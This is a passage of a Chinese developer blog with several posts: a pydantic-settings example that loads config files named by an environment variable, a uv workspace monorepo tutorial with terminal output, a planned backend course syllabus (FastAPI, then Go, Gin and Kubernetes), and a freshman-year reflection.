 PydanticBaseSettingsSource,
 SettingsConfigDict,
 TomlConfigSettingsSource,
 YamlConfigSettingsSource,
)


class EnvVarFileConfigSettingsSource(InitSettingsSource):
 """
 A source that loads configuration from a file specified in an environment variable.
 It automatically selects the TOML or YAML parser based on the file extension.
 """

 def __init__(
 self,
 settings_cls: type[BaseSettings],
 env_var: str = "MYAPP_CONFIG_FILE",
 env_file_encoding: str | None = None,
 ):
 """
 Args:
 settings_cls: The settings class.
 env_var: The name of the environment variable to read the file path from.
 env_file_encoding: The encoding to use for YAML files.
 """
 self.env_var = env_var
 self.file_path_str = os.getenv(env_var)
 self.encoding = env_file_encoding

 file_data: dict[str, Any] = {}

 if not self.file_path_str:
 super().__init__(settings_cls, file_data)
 return

 file_path = Path(self.file_path_str)
 if not file_path.exists():
 print(
 f"Warning: The file '{file_path}' pointed to by the environment variable '{self.env_var}' does not exist."
 )

 # Reuse existing source logic based on file extension
 suffix = file_path.suffix.lower()
 if suffix == ".toml":
 # Internally create a TomlConfigSettingsSource instance to load the file
 file_data = TomlConfigSettingsSource(
 settings_cls, toml_file=file_path
 ).toml_data
 elif suffix in (".yaml", ".yml"):
 # Internally create a YamlConfigSettingsSource instance to load the file
 file_data = YamlConfigSettingsSource(
 settings_cls, yaml_file=file_path, yaml_file_encoding=self.encoding
 ).yaml_data
 else:
 print(f"Warning: Unsupported file type '{suffix}'. Ignored.")

 # Call InitSettingsSource's __init__, passing the data loaded from the file
 super().__init__(settings_cls, file_data)

 def __repr__(self) -> str:
 return f"{self.__class__.__name__}(env_var={self.env_var}, file_path={self.file_path_str!r})"


class DatabaseConfig(BaseModel):
 postgres_user: str = "veno"
 postgres_password: str = "12345678"
 postgres_host: str = "localhost"
 postgres_port: int = 5432
 postgres_db: str = "veno_db"


class Settings(BaseSettings):
 model_config = SettingsConfigDict(
 toml_file=Path("myapp.toml"),
 yaml_file=Path("myapp.yaml") or Path("myapp.yml"),
 yaml_file_encoding="utf-8",
 env_prefix="MYAPP_",
 env_nested_delimiter="__",
 )

 debug: bool = False
 formal: bool = True
 database: DatabaseConfig = DatabaseConfig()

 @classmethod
 def settings_customise_sources(
 cls: type[Self],
 settings_cls: type[BaseSettings],
 init_settings: PydanticBaseSettingsSource,
 env_settings: PydanticBaseSettingsSource,
 dotenv_settings: PydanticBaseSettingsSource,
 file_secret_settings: PydanticBaseSettingsSource,
 ) -> tuple[PydanticBaseSettingsSource, ...]:
 """
 Define the priority of different configuration sources.
 See: https://docs.pydantic.dev/latest/concepts/pydantic_settings/#customise-settings-sources
 """
 return (
 init_settings,
 # Custom Source
 EnvVarFileConfigSettingsSource(settings_cls),
 # env_settings,
 dotenv_settings,
 # See: https://docs.pydantic.dev/latest/concepts/pydantic_settings/#other-settings-source
 TomlConfigSettingsSource(settings_cls),
 YamlConfigSettingsSource(settings_cls),
 file_secret_settings,
 )


settings = Settings()


# main.py

import os
from typing import Annotated
import typer

import playground.config as config_module

cli_app = typer.Typer()
env_config_file = "MYAPP_CONFIG_FILE"


@cli_app.command()
def hello(name: Annotated[str, typer.Option()] = "Veno"):
 print(f"Hello, {name}")
 if config_module.settings.debug:
 print(f"cli_app: {cli_app}")


@cli_app.command()
def bye():
 if config_module.settings.formal:
 print("Goodbye!")
 else:
 print("See ya!")


@cli_app.callback()
def main(config: Annotated[str | None, typer.Option()] = None):
 if config:
 os.environ[env_config_file] = str(config)
 config_module.settings.__init__()


if __name__ == "__main__":
 cli_app()

我们定义了一个Settings(BaseSettings)类，这是我们的应用配置类。我们可以在其中定义应用配置项，或是嵌套其他的子配置类。子配置类不需要再继承BaseSettings, 而是继承BaseModel。

Settings类中，我们可以通过自定义settings_customise_sources方法中返回的元组内元素的顺序，调整 Pydantic 导入配置源的优先级。靠前的配置源中配置项的值将不会被靠后的配置源的配置项值所覆盖。靠前的配置源成功读取之后并不会略过之后的配置源。也就是说，如果某一项配置值在靠前的配置源未出现，但在靠后的配置源出现，则会使用该出现的值。

如果我们希望删除某个配置源，那么我们可以从返回的元组中剔除它（如本例的env_settings）。

要导入新的配置源，同样也可以在返回的元组中添加它们。本例添加了 TomlConfigFileSettingsSource，YamlConfigFileSettingsSource。它们会从Settings类的model_config中的toml_file等变量获取配置文件位置。例如这里会获取运行根目录下的myapp.toml。此处可以参考 Pydantic Settings 的源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


# pydantic_settings/sources/providers/toml.py
class TomlConfigSettingsSource(InitSettingsSource, ConfigFileSourceMixin):
 """
 A source class that loads variables from a TOML file
 """

 def __init__(
 self,
 settings_cls: type[BaseSettings],
 toml_file: PathType | None = DEFAULT_PATH,
 ):
 self.toml_file_path = toml_file if toml_file != DEFAULT_PATH else settings_cls.model_config.get('toml_file')
 self.toml_data = self._read_files(self.toml_file_path)
 super().__init__(settings_cls, self.toml_data)

 def _read_file(self, file_path: Path) -> dict[str, Any]:
 import_toml()
 with open(file_path, mode='rb') as toml_file:
 if sys.version_info < (3, 11):
 return tomli.load(toml_file)
 return tomllib.load(toml_file)

 def __repr__(self) -> str:
 return f'{self.__class__.__name__}(toml_file={self.toml_file_path})'

这里我们自定义了一个从env_var读取配置文件位置的EnvVarFileConfigSettingsSource类，并希望它被优先使用。当MYAPP_CONFIG_FILE环境变量被设置时，它会试图读取 TOML 或 YAML 配置文件。

在main.py中，我们设置了一个 typer 的回调函数，为主 CLI 应用本身添加了--config参数用于指定配置文件位置。用户如果指定了该参数，则会设置MYAPP_CONFIG_FILE环境变量，并重载settings实例。参见: Pydantic - Settings Management - In-place reloading

使用 uv workspace 搭建 Python Monorepo

Thu, 31 Jul 2025 23:29:54 +0800

~~紫外线用 uv 很合理吧(x~~

有时候我们想在同一个仓库中维护多个Python项目，并且保证他们的依赖关系。这种代码组织策略叫 Monorepo, 这样更方便代码的重复利用，并且可以实现多个项目需要同时进行更改时的原子化提交，更便于团队协作 (~~尤其是当团队只有你一个人的时候~~)。

pip + pyproject.toml 不可能实现声明式的 Monorepo 搭建。不过2025年了，大多数人都更喜欢用 uv, poetry, pdm 之类的现代Python包和项目管理器。我倾向于使用uv。

uv 提供了 workspace 功能，和 Rust 的 Cargo 十分相似，因为 uv 本身就很受 Cargo 启发。通过这个功能，我们可以声明式地在 Pyproject.toml 中定义上面所说的 Monorepo ，我认为大多数时候已经足够好用。

uv 关于 workspace 的文档中有一个例子，但只给出了 pyproject.toml 的内容。其实大多数时候我们是不用手动编辑 pyproject.toml 中关于 [tool.uv] 的内容的，因为默认情况下，在现有包内运行 uv init 将将新创建的成员添加到工作区，如果工作区根目录中不存在 [tool.uv.workspace] 表格，则会创建一个。下面展示仅使用 uv 指令实现官方文档示例的仓库框架的搭建。

信天翁和喂鸟器都需要 seeds，信天翁需要喂鸟器。我这里做个小修改，seeds 仍是工作区成员，seeds 同时还需要支持在泥土中执行发芽操作，因此它依赖 dirt 库。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89


❯ pwd
/home/veno/Projects/uv_playground

❯ uv init --package albatross
Initialized project `albatross` at `/home/veno/Projects/uv_playground/albatross`

❯ cd albatross

❯ uv venv
Using CPython 3.13.5 interpreter at: /usr/bin/python3.13
Creating virtual environment at: .venv
Activate with: source .venv/bin/activate

❯ uv init --package bird-feeder
Adding `bird-feeder` as member of workspace `/home/veno/Projects/uv_playground/albatross`
Initialized project `bird-feeder` at `/home/veno/Projects/uv_playground/albatross/bird-feeder`

❯ rm bird-feeder -rf

❯ uv init --package packages/bird-feeder
Adding `bird-feeder` as member of workspace `/home/veno/Projects/uv_playground/albatross`
Initialized project `bird-feeder` at `/home/veno/Projects/uv_playground/albatross/packages/bird-feeder`

❯ uv init --package packages/seeds
Adding `seeds` as member of workspace `/home/veno/Projects/uv_playground/albatross`
Initialized project `seeds` at `/home/veno/Projects/uv_playground/albatross/packages/seeds`

❯ uv add tqdm
Resolved 5 packages in 308ms
 Built albatross @ file:///home/veno/Projects/uv_playground/albatross
Prepared 2 packages in 167ms
Installed 2 packages in 2ms
 + albatross==0.1.0 (from file:///home/veno/Projects/uv_playground/albatross)
 + tqdm==4.67.1

❯ uv add bird-feeder
Resolved 5 packages in 5ms
 Built albatross @ file:///home/veno/Projects/uv_playground/albatross
 Built bird-feeder @ file:///home/veno/Projects/uv_playground/albatross/packages/bird-feeder
Prepared 2 packages in 5ms
Uninstalled 1 package in 0.60ms
Installed 2 packages in 3ms
 ~ albatross==0.1.0 (from file:///home/veno/Projects/uv_playground/albatross)
 + bird-feeder==0.1.0 (from file:///home/veno/Projects/uv_playground/albatross/packages/bird-feeder)

❯ uv init --lib libs/dirt
Adding `dirt` as member of workspace `/home/veno/Projects/uv_playground/albatross`
Initialized project `dirt` at `/home/veno/Projects/uv_playground/albatross/libs/dirt`

❯ uv add dirt --package seeds
Resolved 6 packages in 194ms
 Built seeds @ file:///home/veno/Projects/uv_playground/albatross/packages/seeds
 Built dirt @ file:///home/veno/Projects/uv_playground/albatross/libs/dirt
Prepared 2 packages in 8ms
Installed 2 packages in 2ms
 + dirt==0.1.0 (from file:///home/veno/Projects/uv_playground/albatross/libs/dirt)
 + seeds==0.1.0 (from file:///home/veno/Projects/uv_playground/albatross/packages/seeds)

❯ tree .
.
├── libs
│ └── dirt
│ ├── pyproject.toml
│ ├── README.md
│ └── src
│ └── dirt
│ ├── __init__.py
│ └── py.typed
├── packages
│ ├── bird-feeder
│ │ ├── pyproject.toml
│ │ ├── README.md
│ │ └── src
│ │ └── bird_feeder
│ │ └── __init__.py
│ └── seeds
│ ├── pyproject.toml
│ ├── README.md
│ └── src
│ └── seeds
│ └── __init__.py
├── pyproject.toml
├── README.md
├── src
│ └── albatross
│ └── __init__.py
└── uv.lock

14 directories, 14 files

pyproject.toml 中的内容较多，这里就不贴了，读者可以自己在电脑上试一下便知。

如果希望工作区不包含 seeds , 则需要在根项目，也就是albatross包的pyproject.toml中编辑 [tool.uv.workspace], 添加exclude = ["packages/seeds"]。

Every workspace needs a root, which is also a workspace member. In the above example, albatross is the workspace root, and the workspace members include all projects under the packages directory, except seeds.

这里 uv 的官方文档给出的例子是 Monorepo 中有一个根项目和几个辅助库。由于每一个工作区都需要一个根，如果我们想创建的 Monorepo 中，各个项目之间的地位是等价的，那么我们需要注意的是我们仍然需要先初始化整个 Monorepo 的根。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


# 首先初始化根项目
❯ uv init --bare # 使用--bare参数，仅生成一个pyproject.toml文件
Initialized project `monorepo`

❯ uv init --package packages/pkg_a
Adding `pkg-a` as member of workspace `/home/veno/Projects/uv_playground/monorepo`
Initialized project `pkg-a` at `/home/veno/Projects/uv_playground/monorepo/packages/pkg_a`

❯ uv init --package packages/pkg_b
Adding `pkg-b` as member of workspace `/home/veno/Projects/uv_playground/monorepo`
Initialized project `pkg-b` at `/home/veno/Projects/uv_playground/monorepo/packages/pkg_b`

❯ cat ./pyproject.toml
[project]
name = "monorepo"
version = "0.1.0"
requires-python = ">=3.13"
dependencies = []

[tool.uv.workspace]
members = [
 "packages/pkg_a",
 "packages/pkg_b",
]

❯ tree .
.
├── packages
│ ├── pkg_a
│ │ ├── pyproject.toml
│ │ ├── README.md
│ │ └── src
│ │ └── pkg_a
│ │ └── __init__.py
│ └── pkg_b
│ ├── pyproject.toml
│ ├── README.md
│ └── src
│ └── pkg_b
│ └── __init__.py
└── pyproject.toml

8 directories, 7 files

附：

UV Documentation - Using workspaces

Veno 的后端教程大纲

Sun, 20 Jul 2025 00:21:21 +0800

2025-09-28 编辑：本人将不再参与 hdu-cs.wiki 的编辑。后端教程不会继续在 Wiki 上更新。

Before Beginning

前置知识需求: CS61A, 或掌握至少一门编程语言（如Python）的扎实基础，理解函数、类、简单数据结构（列表、字典、集合等）、递归等核心编程概念, 畅通的网络环境, 了解Python的基础写法, 基本的英语阅读能力, 提问的艺术, 基础CLI操作

第一部分：后端基础 (Python + FastAPI + SQLModel)

教学目标(一)

快速上手: 让学生在几小时内，从零开始搭建起一个功能完整的 CRUD (增删改查) API。
建立自信: 通过 FastAPI 强大的自动文档和 SQLModel 的易用性，让学生感受到现代工具带来的便捷，消除对后端的畏难心理。
文档阅读: FastAPI 有着非常用户友好的文档, 利用它来培养阅读文档的习惯. 这也是本教程选择SQLModel而不是SQLAlchemy的原因之一
正确使用AI: 不要让Copilot变成Copybot
整个教程的每个模块会维护和精进同一个项目(不与 Project 1 相同, 教程项目更倾向于教学示范)
理解或掌握以下知识：

路由函数 (Routing) 与 HTTP 方法 (GET, POST, PUT, DELETE)。
SQL, ORM 与数据库操作 (CRUD)。
API-服务-数据的基本三层架构模式。
中间件 (Middleware) 的作用。
基本的安全思想.
基本的单元测试和集成测试概念和写法
配置管理: 学会分离开发, 测试, 生产环境
学会现代部署: 掌握使用 Docker 和 Docker Compose 对应用进行容器化部署的基本技能。
学会阅读框架文档
基本的 Git 团队协作能力

课程大纲(一)

Lab 0

VSCode 配置, 环境变量, Python 虚拟环境, PEP规范和类型标注
前后端的基本概念, 后端是什么
uv Python 环境管理
Git基本配置, Github
…

模块一: API 和 HTTP

API 和路由函数
路径参数和查询参数
HTTP, GET 和 POST 方法
请求体和数据校验(pydantic)
API 文档 (展示FastAPI的自动生成的 Swagger 文档)
…
作业:
- 阅读文档, 找到如何使用 FastAPI 构造一个上传文件的接口.
- 通过阅读文档, 发现并解决 FastAPI 中路由函数先后定义产生的问题.
拓展阅读:
- HTTP MDN, 图解HTTP
- RESTful API 和 WebSocket
- API测试工具
- …

模块二：数据库

SQL语句: 手动使用SQL来进行基础的查询和数据库操作
ORM 与模型: ORM概念, 使用 SQLModel，定义第一个数据模型。
连接数据库: 使用 SQLite 作为入门数据库，配置数据库连接。
实现 CRUD: 编写完整的增、删、改、查四个 API 接口。
数据库事务的概念和重要性(ACID), SQLModel 的 session
索引设计
作业:
- 提供一个复杂的数据库 ER 图, 要求编写几个不同复杂度的 SQL 查询语句, 覆盖连接 (JOIN), 分组 (GROUP BY), 子查询等。
- 用ORM的关系预加载优化一个 N+1 查询问题.
拓展阅读:
- SQL, NoSQL(MongoDB, Redis, Neo4j)
- 索引, 外键, 多对多…
- alembic 等数据库同步工具
- ACID、CAP 和 BASE
- 软删除
- SQL 注入
- …

模块三：代码的规范化

问题引入: 当业务逻辑变复杂时，所有代码都写在路由函数里的坏处。
重构代码: 引入三层架构思想, 把先前的代码清晰分为API层, 服务层, 路由层.
如何避免过度设计
拓展阅读:
- IoC 和依赖注入
- 22种设计模式
- SOLID 原则
- 领域驱动设计
- …

模块四：中间件

中间件基本概念
中间件一般应用场景
错误处理中间件(统一错误响应格式)
CORS中间件
作业:
- 编写一个简单的记录API日志的中间件, 统计请求处理时长.
- 实现自定义异常处理中间件
拓展阅读:
- …

模块五: 基本的安全思想

JWT Token
passwd_hashed
CORS
环境变量管理敏感信息
永远不要相信用户的输入
…
作业:
- 实现一个完整的注册登陆流程, 密码哈希存储
- 利用中间件实现API的Token鉴权
- …
拓展阅读:
- …

模块六：交付你的第一个后端服务 (容器化)

Docker 入门: 讲解什么是 Docker, 它解决了什么问题.
Dockerfile: 为 FastAPI 应用编写一个 Dockerfile
Docker Compose
作业:
- …
拓展阅读:
- 除了Docker以外的容器, Podman, container.d
- CI/CD, Github Actions
- …

Project 1: 电子书商城

与前端组协调, 后端小组与前端小组共同完成电子书商城项目.
要求:
- 强制使用 Feature Branch 工作流
- 编写有意义的 Commit Message
- 团队成员之间需要进行 Code Review

第二部分：后端进阶 (Go + Gin)

教学目标(二)

深入原理: 通过 Go 的显式特性，让学生深刻理解路由、中间件、ORM 等概念的底层实现本质。
培养底层思维: 从一个“框架使用者”转变为一个能思考性能、并发、内存管理的“工程师”。
掌握 Go 后端开发: 熟练使用 Go 语言、Gin 框架和 GORM 来构建高性能的后端服务，并掌握 Go 的指针、错误处理等核心特性。
熟悉高级组件: 使用 Redis 缓存，使用消息队列。
衔接微服务架构: 理解从单体应用到微服务的演进过程，初步掌握 RPC (gRPC)、服务注册与发现、容器编排 (Kubernetes) 等核心概念。

课程大纲(二)

Lab 0: Go语言基础

Go 语法, Go环境搭建, 工作区概念, Go Modules, Goroutine

模块一：重新认识路由和框架

路由的本质: 先用 Go 标准库 net/http 手写一个简单的 Web 服务器，暴露路由函数。
引入 Gin: 讲解 Gin 如何用更优雅的方式解决了 net/http 的路由和分组问题。
Gin 的 Context
…
作业:
- 尝试使用 net/http 实现一个支持不同HTTP方法的路由分发器
拓展阅读:
- gin-swagger
- 大厂基于Gin的框架
- GORM

模块二：再论架构与中间件的本质

通过接口和构造函数手动注入依赖, 本质上为了解决相同的问题
中间件的本质: 手写一个最简单的 Gin 中间件, 本质是一个接收 *gin.Context 并调用 c.Next() 的函数. 责任链模式.
…
作业:
- 替换Gin框架的默认Logger中间件
- 实现一个 Panic 恢复中间件, 确保单个请求的崩溃不会导致整个服务宕机, 并能记录下崩溃的堆栈信息
拓展阅读:
- Go的闭包
- go 的反射机制和适用场景

模块三: 消息队列

问题引入: 当服务所需要的请求量越来越多
RabbitMQ(AMQP 模型) 和 Kafka(流模型) 的区别和适用场景
ACK, 持久化和重试
什么时候应当为系统引入消息队列才不会显得累赘
…
作业:
- 实现一个异步任务, 通过API提交某个耗时请求之后, 服务将任务放入RabbitMQ后立即返回, 让一个Worker服务消费任务
拓展阅读:
- 死信队列
- Kafka核心概念: Topic, Partition, Offset, Consumer Group
- RocketMQ

模块四: 缓存

Redis
缓存的常见策略 (Cache-aside, Read-through, Write-through)
缓存穿透、缓存击穿、缓存雪崩的原因和解决方案
Redis 常见数据结构的使用场景
什么时候应当引入缓存才不会显得累赘
…
作业:
- 为某个高频读取的API增加Redis缓存(Cache-aside), 并进行压测, 对比QPS和响应时间。
拓展阅读:
- 缓存与数据库一致性问题
- 分布式锁的概念与基于Redis的实现

模块五：从单体到微服务

单体应用的痛点, 为什么业界会需要微服务架构
RPC概念, 以及RPC的底层本质
gRPC: Protobuf, 服务定义, 四种通信模式, 在Go中的实践
作业:
- 创建两个微服务：user-service 和 order-service。order-service 在创建订单时，需要通过 gRPC 调用 user-service 来验证用户信息是否存在

模块六：Kubernetes

什么是容器编排? 为什么已经有compose了还需要k8s?
k8s 架构和核心概念讲解
kind
作业:
- 为一个简单的微服务编写Kubernetes的Deployment和Service的YAML文件, 并使用kind在本地部署起来
- 在kind集群中滚动更新 (Rolling Update) 和回滚 (Rollback) 一个服务
拓展阅读:
- k8s 官方文档
- …

Project 2 : 电商平台

参考2024年字节后端青训营项目. 要求使用gRPC的微服务架构, 使用k8s集群进行部署.

延伸

一起收集一下常见的各种典型后端项目的设计与实现方式.

HDU-CS-Wiki 后端开发入门教程的教学大纲设想

Sun, 13 Jul 2025 14:18:18 +0800

2025-09-28 编辑：本人将不再参与 hdu-cs.wiki 的编辑。后端教程不会继续在 Wiki 上更新。

需要给HDU-CS-Wiki写后端入门教程了, 在这里罗列一下自己的想法.

这个教程教授的目标我更希望是能传达后端开发的心法, 能教会小白在面对一个自己从来没接触过的Web框架甚至新的编程语言时, 如何用同样的思路, 通用的知识, 通过阅读框架文档, 来实现自己想做的项目功能. 明确这个目标, 才不会把教程写的像是重写了一遍Web框架文档, 变得像Gin框架学习笔记之类的东西一样.

教学语言和使用框架的选择我想到了几个, Node.js+Express, Python+FastAPI, Go+Gin.

Express的网络开源教程我感觉是最多最主流的, 核心思想. 然而本人现在实在没接触过js的生态, 如果真要写那要么现学现卖, 要么喊谷子哥代写了. (谷子哥留个博客链接我好加友链(x

Python+FastAPI, 好处是语法比较简单, Python也是一个非常适合初学者入门而不被劝退的语言. 缺点是有可能会不得不引入一些框架核心的高级特性, 比如通过依赖注入获取db_session, 以及显式的异步调用, 以及会有解释型语言不可避免的运行时类型错误问题.

Go+Gin, 语法很简洁, 没什么语法糖, 但没有传统的类和对象, 而是指针和结构体, 这对于小白来说可能会提高使用难度. 但是可能不那么简单也能算做优点, 因为Go的语言特性会让它的代码比较好读, 很适合让学习者思考这些框架是如何一步步搭建起来的, 核心的特性本质上是些什么东西, 可以去甚至可以尝试自己搭建一个简单的Web框架.

我有种比较大胆的想法是, 先用Python+FastAPI+SQLModel做最基本的后端开发导入, 用短时间无痛构建一个完整且现代的服务, 目标是用最简单的代码讲述后端几个比较重要的概念, API和HTTP, 数据库, 经典的三层架构, 中间件, 容器, git协作. 然后用Go, 深入原理, 知其然而知其所以然, 同时也能向上引申, 从单体应用到微服务架构, 云原生的概念, 引出现代企业级后端的很多解决方案, k8s, redis, 消息队列等等.

无论怎么转变语言和框架, 但是后端开发的本质思路是不变的, 路由注册, 请求解析, 业务逻辑, 数据交互, 响应生成. 教程需要强调的是教会人共通的后端思维, 教会人如何根据框架文档写代码. 我自己也并不熟悉很多的框架, 比如我从来没有用过Gin去写过代码. 但是我想把我如何通过查一个陌生的框架的文档, 找到如何注册一个路由注册一个中间件, 把这个过程给显式地表达出来. 我认为这种能力远比精通某一个Web框架更重要. 可能可以设置一个作业, 比如通过查找文档, 自己找到如何在FastAPI中实现一个文件上传的功能.

然后可以介绍很多很不错的开源教程, 介绍很多好用的工具, Git团队协作需要的基本知识等等, 可以有很多外链

我不太确定这样的教程思路是否合适, 还是很希望多提点建议的.

让Gemini给我列了一个按照我那种大胆思路的教学大纲. 它的大纲我觉得还是太侧重于推崇Go语言这一点了. 我觉得每个人都可能会有自己的喜好, 我可能会更倾向于客观告诉学习者不同语言的特点, 优缺点, 鼓励多尝试, 找到适合自己的, 也提升不同语言的适应能力.

Gemini的大纲如下:

第一部分：Python + FastAPI + SQLModel (快速入门与核心概念构建)

核心定位: “信心助推器”。在最短的时间内，让一个新手无痛地构建一个完整、现代且专业的 API 服务，使其快速获得成就感，并对后端开发的核心概念有一个直观、感性的认识。
教学目标 (Teaching Goals)
- 快速上手: 让学生在几小时内，从零开始搭建起一个功能完整的 CRUD (增删改查) API。
- 建立自信: 通过 FastAPI 强大的自动文档和 SQLModel 的易用性，让学生感受到现代工具带来的开发乐趣，消除对后端的畏难心理。
- 掌握核心概念: 深刻理解以下通用概念：
```
1. 路由函数 (Routing) 与 HTTP 方法 (GET, POST, PUT, DELETE)。
2. ORM 与数据库操作 (CRUD)。
3. API-服务-数据 的三层架构模式。
4. 中间件 (Middleware) 的作用。
5. 学会现代部署: 掌握使用 Docker 和 Docker Compose 对应用进行容器化部署的基本技能。
```
课程大纲 (Course Outline)
- 模块一：你好，后端世界！ (第一个 API)
  - 环境搭建: Python 与 venv 虚拟环境，使用 pip 安装 FastAPI。
  - Hello, World: 编写第一个 @app.get("/") 路由函数。
  - 核心讲解: 什么是 HTTP？什么是 API？GET 和 POST 方法的区别。
  - “魔法”展示: 介绍并使用 FastAPI 自动生成的交互式文档 (Swagger UI)，让学生可以立刻测试自己的 API。
- 模块二：让数据持久化 (数据库操作)
  - ORM 与模型: 介绍 SQLModel，定义第一个数据模型 (例如 Article 模型)。
  - 连接数据库: 使用 SQLite 作为入门数据库，配置数据库连接。
  - 实现 CRUD: 编写完整的增、删、改、查四个 API 接口。
  - 深入 Pydantic: 讲解 FastAPI 如何利用 Pydantic 模型自动完成请求数据的校验。
- 模块三：代码的专业化之路 (三层架构)
  - 问题引入: 当业务逻辑变复杂时，所有代码都写在路由函数里的坏处。
  - 重构代码: 引入三层架构思想，将代码清晰地分离为：
    - API 层 (api/routes.py): 只负责处理 HTTP 请求和响应。
    - 服务层 (services.py): 负责处理核心的业务逻辑。
    - 数据层 (data/repository.py): 负责与数据库进行交互。
  - 核心讲解: 讲解分层的好处：解耦、可测试性、可维护性。
- 模块四：中间件的妙用
  - 概念讲解: 什么是中间件？它就像一个洋葱，层层包裹你的请求。
  - 实践: 编写一个简单的中间件，例如记录每个请求的处理时间，并将其添加到日志中。
- 模块五：交付你的第一个后端服务 (Docker 容器化)
  - Docker 入门: 讲解什么是 Docker，它解决了什么问题。
  - 编写 Dockerfile: 为我们的 FastAPI 应用编写一个 Dockerfile。
  - 使用 Docker Compose: 编写 docker-compose.yml，一键启动我们的应用服务和数据库服务。

第二部分：Go + Gin + GORM (深入原理与架构进阶)

核心定位: “能力深化器”。在第一部分的基础上，用更接近底层的语言重新构建同一个应用，让学生从“知其然”到“知其所以然”。同时向上引申，打开通往微服务和云原生世界的大门。
教学目标 (Teaching Goals)
- 深入原理: 通过 Go 的显式特性，让学生深刻理解路由、中间件、ORM 等概念的底层实现本质。
- 培养底层思维: 从一个“框架使用者”转变为一个能思考性能、并发、内存管理的“工程师”。
- 掌握 Go 后端开发: 熟练使用 Go 语言、Gin 框架和 GORM 来构建高性能的后端服务，并掌握 Go 的指针、错误处理等核心特性。
- 衔接微服务架构: 理解从单体应用到微服务的演进过程，初步掌握 RPC (gRPC)、服务注册与发现、容器编排 (Kubernetes) 等核心概念。
课程大纲 (Course Outline)
- 模块一：换一种语言，见一片新天地 (Go 与 Gin)
  - 环境与基础: Go 环境搭建、工作区概念、Go Modules 依赖管理。
  - 向下探索 (1) - 路由的本质: 先用 Go 标准库 net/http 手写一个简单的 Web 服务器，暴露路由函数。
  - 引入 Gin: 讲解 Gin 如何用更优雅的方式解决了 net/http 的路由和分组问题。
  - 核心讲解: Go 的 struct 与指针、if err != nil 的错误处理哲学。用 Go 重新实现第一个 API。
- 模块二：在静态类型世界里操作数据 (GORM)
  - GORM 基础: 使用 GORM 定义数据模型并连接数据库 (如 PostgreSQL)。
  - 重构 CRUD: 用 GORM 重新实现增删改查功能。
  - 对比思考: 对比 GORM 和 SQLModel，探讨静态类型 ORM 和动态类型 ORM 的设计差异。
- 模块三：再论架构与中间件的本质
```
Go 的分层: 在 Go 项目中再次实践三层架构。
向下探索 (2) - 中间件的本质: 手写一个最简单的 Gin 中间件，让学生明白它就是一个接收 *gin.Context 并调用 c.Next() 的函数。揭示其中间件“责任链模式”的本质。
```
- 模块四：释放 Go 的力量 (并发编程)
  - Goroutine 入门: 讲解 Go 如何用 go 关键字轻松开启一个协程。
  - 实践: 举例说明并发的威力，例如模拟一个需要同时请求多个外部服务的场景。
- 模块五：向上引申 - 从单体到微服务
```
理论篇: 讲解单体应用的痛点，引出微服务架构。介绍什么是 RPC，以及 gRPC 为何在云原生时代如此流行。
实践篇: 将我们的“文章服务”改造成一个独立的 gRPC 服务。然后，创建一个新的 Gin 项目作为 API 网关，由它来接收外部 HTTP 请求，再通过 RPC 调用后端的 gRPC 服务。
```
- 模块六：云原生之巅的惊鸿一瞥 (Kubernetes)
  - 概念讲解: 什么是容器编排？为什么有了 Docker 还需要 Kubernetes (k8s)？
  - 初体验: 编写简单的 k8s Deployment 和 Service 配置文件，将我们之前容器化的 Go 微服务部署到本地的 k8s 集群 (如 Minikube 或 kind) 中。
  - 课程总结: 回顾整个旅程，学生已经从一个 API 的实现者，成长为一个理解现代后端架构的准工程师。

后续和计科协后端组成员讨论出的几个点:

课程形式: 线上文档, 放在wiki
课程大作业: Proj1, 单体python后端应用(待定), 需要有前端, 可能和前端组进行沟通, Proj2, Go微服务架构的电商系统(参考去年青训营), proj2可以不用前端或提供简陋前端. 都是小组作业(git协作).
教程编写周期: 暑假把第一部分教程完成, 完成一部分Proj2内容.
教程学习周期: 一个学期学习一个部分. 第一学期需要一部分时间学习基础编程, 考虑达到CS61A的水准之后再开始学习本课程, 第二学期Proj2耗时较长, 可能需要两三个月
编写教程不是最终目的, 培养一个入门的后端开发者才是最终目的, 在此基础上尽量让教程可以被复用. 因此我们需要在教学过程中及时跟进学习者的反馈, 并且讨论出合适的大作业评估方案. 之后才是进一步精进教程.
对于教程编写者, 需要考虑教程实现的性价比最高的方案, 避免投入产出不成正比导致的教程编写未半而中道崩殂. 不要为了这个教程把自己搞的太累.

大一下的随笔以及想开的坑

Sat, 21 Jun 2025 20:44:46 +0800

本来这个博客是要好好写很多东西的, 计划是学到什么就写什么, 做了什么就写什么, 总之有一切想法都写下来, 结果一点没写.

在科协这里接了个挣米的某项目, 有得有失. 这个项目让我学到很多, 但也因为这个项目, 必须舍弃掉一些用于沉淀的时间.

暑假可算是闲下来一半的了, 总不能接着荒废博客吧, 好歹是给域名付了费的. 正好把一学期下来实践过的学习到的那些知识, 积累的很多自认为很酷的想法, 想挖的想填的那些坑, 统统写下来.

(但是可能会像流水账一样)

这篇文章应该会是一大段碎碎念.

挣米的项目是某种物理的仿真器, 负责了一整大块的后端重构设计. 主要语言Python, 用到的库大致有 FastAPI, Pydantic, SQLAlchemy, pytest 测试框架, black 规范代码格式等等, 用上了自己这辈子能接触到的可能最夸张的性能级别的机器集群, 也学习了不少k8s相关的东西, 干了一学期下来自认为也算个python小手子了. 也接触尝试过不少的新东西, neovim, hyprland, 软路由, Gitea, proxmox, tmux ,podman……

在思考怎么设计架构的时候, 学习到很多设计理念. 从数据库用户和权限的表设计学习到 RBAC 等等的模型, 增删改查使用仓储模式的设计, 依赖注入等等的大一上的我从来没听过的名词, 现在却直接运用到实际工程里了.

过了一年下来, 有一个明显的感悟, 学东西一定得莽一点, 不能怕自己干不成事情, 闷在书本后面才会干不成事情. 大学过了一年, 一直被push, 干成了不少自己以为自己完全做不到的事情. 这次的项目也是, 当初一看项目体量那么大, 很难想象一个什么正经后端项目都没写过的我, 最后能负责一整块的后端的重构设计和实际实现, 结果不知不觉的也做下来了, 似乎还做的不错.

